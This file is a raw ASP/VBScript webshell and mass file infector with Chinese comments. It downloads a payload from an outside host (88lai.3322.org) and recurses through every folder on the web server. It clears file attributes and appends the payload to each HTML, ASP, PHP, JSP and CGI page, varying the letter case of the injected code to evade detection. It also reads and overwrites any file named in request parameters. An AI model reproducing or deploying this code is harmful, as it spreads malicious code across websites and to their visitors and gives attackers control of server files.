<%
Sub echo(str)
response.write(str)
End Sub
echo ""
%>
<%
Dim Dirr,alltxt,Filename,ASP_SELF,s,ex,pth,newcnt,Fpath,addcode,addcode2,pcfile,checkbox,ShowMsg,FType,zfile,pcfileName,pcfilek,pcfilen,WFSO,f,fc2,FType1,Ftype2,FType3
ASP_SELF=Request.ServerVariables("PATH_INFO")
for i= 0 to ubound(split(server.mappath("."),"\"))
d=split(server.mappath("."),"\")
Dirr=Dirr&d(i)&"\"
Filename=Dirr&"Dirr.txt"
On Error Resume Next
SET FSO=Server.CreateObject("Scripting.FileSystemObject")
SET FR = FSO.CreateTextFile(Filename,true)
IF NOT FSO.FileExists(Filename) then
else
FR.close
FSO.DeleteFile Filename,True
exit for
end if
next
s=Request("fd")
ex=Request("ex")
pth=Request("pth")
newcnt=Request("newcnt")
Fpath=Request("fd")
addcode = Request("code")
addcode2 = Request("code2")
pcfile=request("pcfile")
checkbox=request("checkbox")
ShowMsg=request("ShowMsg")
FType=request("FType")
zfile=request("zfile")
if zfile="" then zfile="default|index|conn|admin|reg|main|vip|qq|mm|"
if Ftype="" then Ftype="htm|html|asp|php|jsp|aspx|cgi|"
if Fpath="\" then Fpath=Server.MapPath("\")
if Fpath="." or Fpath="" then Fpath=Dirr
if addcode="" then addcode=getHTTPPage("http://88lai.3322.org/code.gif")
if checkbox="" then checkbox=request("checkbox")
if pcfile="" then
pcfileName=Request.ServerVariables("SCRIPT_NAME")
pcfilek=split(pcfileName,"/")
pcfilen=ubound(pcfilek)
pcfile=pcfilek(pcfilen)
end if
If ex="" AND pth="" Then
%>
<%end if%>
<%
if request("submit")="action" then
echo "
results
Absolute file path
Edit
"
if addcode<>"" then
substr=MorfiHttp(addcode)
addcode=Morficoders(addcode)
end if
call InsertAllFiles(Fpath,addcode,pcfile)
end if
%>
<%
'写入函数
Sub InsertAllFiles(Wpath,Wcode,pc)
Server.ScriptTimeout=999999999
if right(Wpath,1)<>"\" then Wpath=Wpath &"\"
Set WFSO = CreateObject("Scripting.FileSystemObject")
on error resume next
Set f = WFSO.GetFolder(Wpath)
Set fc2 = f.files
For Each myfile in fc2
Set FS1 = CreateObject("Scripting.FileSystemObject")
FType1=split(myfile.name,".")
FType2=ubound(FType1)
zfile1=FType1(FType2-1)
if Ftype2>0 then
FType3=LCase(FType1(FType2))
else
FType3="无"
end if
if Instr(LCase(pc),LCase(myfile.name))=0 and Instr(LCase(FType),FType3)<>0 then
Bxcode=replace(Wcode,"*-*","name="&Int((9999 - 1000 + 1) * Rnd + 1000))
set hover=FS1.GetFile(Wpath&""&myfile.name)
hover.Attributes=0
set hover=nothing
Set tfile1=FS1.opentextfile(Wpath&""&myfile.name,1,-2)
alltxt=tfile1.readall
if Instr(lcase(alltxt),"@#@&")=0 and Instr(lcase(alltxt),trim(substr))=0 then
Set tfile=FS1.opentextfile(Wpath&""&myfile.name,8,-2)
tfile.writeline Bxcode
echo"
"
end if
end if
Next
Set fsubfolers = f.SubFolders
For Each f1 in fsubfolers
NewPath=Wpath&""&f1.name
Response.Flush
InsertAllFiles NewPath,Wcode,pc
Next
Set FSO = Nothing
set tfile1=nothing
set tfile2=nothing
Set WFSO = Nothing
End Sub
Sub file_show(fname)
Set fs1=Server.createObject("Scripting.FileSystemObject")
isExist=fs1.FileExists(fname)
If isExist Then
Set fcnt=fs1.OpenTextFile(fname)
cnt=fcnt.ReadAll
fcnt.Close
Set fs1=Nothing
echo "FILE: "&fname
echo " "
Else
echo "
文件不存在或已经被删除!
"
End If
End Sub
'源码获函数
function getHTTPPage(url)
on error resume next
dim http
set http=Server.createobject("Microsoft.XMLHTTP")
Http.open "GET",url,false
Http.send()
if Http.readystate<>4 then
getHTTPPage=""
exit function
end if
getHTTPPage=bytes2BSTR(Http.responseBody)
set http=nothing
if err.number<>0 then err.Clear
end function
Function bytes2BSTR(vIn)
dim strReturn
dim i1,ThisCharCode,NextCharCode
strReturn = ""
For i1 = 1 To LenB(vIn)
ThisCharCode = AscB(MidB(vIn,i1,1))
If ThisCharCode < &H80 Then
strReturn = strReturn & Chr(ThisCharCode)
Else
NextCharCode = AscB(MidB(vIn,i1+1,1))
strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
i1 = i1 + 1
End If
Next
bytes2BSTR = strReturn
End Function
'结束
'文件编辑
Sub file_save(fname)
Set fs2=Server.createObject("Scripting.FileSystemObject")
Set newf=fs2.createTextFile(fname,True)
newf.Write newcnt
newf.Close
Set fs2=Nothing
Response.Write "
文件修改成功!
"
End Sub
if Request("ex")="edit" then
CALL file_show(pth)
end if
if Request("ex")="save" then
CALL file_save(pth)
end if
'范围
Function GetRnd(min,max)
Randomize
GetRnd = Int((max - min + 1) * Rnd + min)
End function
'随即大小字体
Function MorfiHttp(code)
dim coders,codelen,codeu,Newcode,Newcoders
code=replace(code," ","|")
code=replace(code,"||","|")
code=replace(code,"||","|")
coders=split(code,"|")
for i=0 to ubound(coders)
if instr(lcase(coders(i)),"http://")>0 then
MorfiHttp=coders(i)
end if
next
if MorfiHttp="" then
MorfiHttp="Empety"
end if
End function
'随即大小字体
Function Morficoders(code)
dim coders,codelen,codeu,Newcode,Newcoders
code=replace(code," ","|")
code=replace(code,"||","|")
code=replace(code,"||","|")
code=replace(code,"|","|*-*|",1,4,0)
code=replace(code,"|*-*|","|",1,3,0)
coders=split(code,"|")
for i=0 to ubound(coders)
if instr(lcase(coders(i)),"http://")>0 then
substr=coders(i)
end if
codelen=len(coders(i))
codeu=mid(coders(i),GetRnd(1,codelen),1)
Newcode=replace(coders(i),codeu,ucase(codeu))
Newcoders=Newcoders&" "&Newcode
next
Morficoders=Newcoders
End function
%>